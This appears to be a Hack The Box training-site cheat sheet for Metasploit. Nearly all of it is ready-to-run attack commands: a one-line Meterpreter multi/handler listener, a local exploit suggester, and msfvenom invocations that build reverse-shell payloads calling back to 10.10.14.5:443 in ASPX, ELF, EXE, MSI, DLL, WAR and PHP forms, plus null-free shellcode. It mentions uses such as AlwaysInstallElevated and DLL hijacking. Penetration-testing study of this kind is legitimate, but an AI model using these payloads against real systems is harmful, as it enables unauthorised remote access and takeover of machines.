Search everything Ctrl K

Metasploit

On HTB it is mostly msfvenom to build payloads (exe, dll, msi, war, aspx) and multi/handler to catch Meterpreter. Certifications like the OSCP restrict its use, so it pays to know how to do it by hand too.

Platform
Linux · Windows · macOS (Ruby)
Official site
metasploit.com
On HTB
17 machines
Install 
sudo apt install metasploit-framework

Metasploit cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
13 commands

msfconsole

Meterpreter listener in one line 
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 443; run"
Search for an exploit Attacker 
search type:exploit name:webmin
Suggest local exploits from a session Attacker 
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
List msfvenom payloads 
msfvenom -l payloads | grep linux/x64

In our cheatsheets

Reverse shell generator › Webshells

ASPX (Windows) Attacker 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx

Reverse shell generator › msfvenom

Linux ELF x64 
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf
Windows EXE x64 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe
Windows MSI (for AlwaysInstallElevated) 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msi
Windows DLL (DLL hijacking) 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dll
WAR (Tomcat) 
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o shell.war
PHP 
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php
Python shellcode without null bytes 
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python
C shellcode for Windows 
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c

HTB machines where Metasploit is used

Taken from the chapters of IppSec videos where Metasploit shows up. The ▶ link jumps to the minute of that part.

Guides that use Metasploit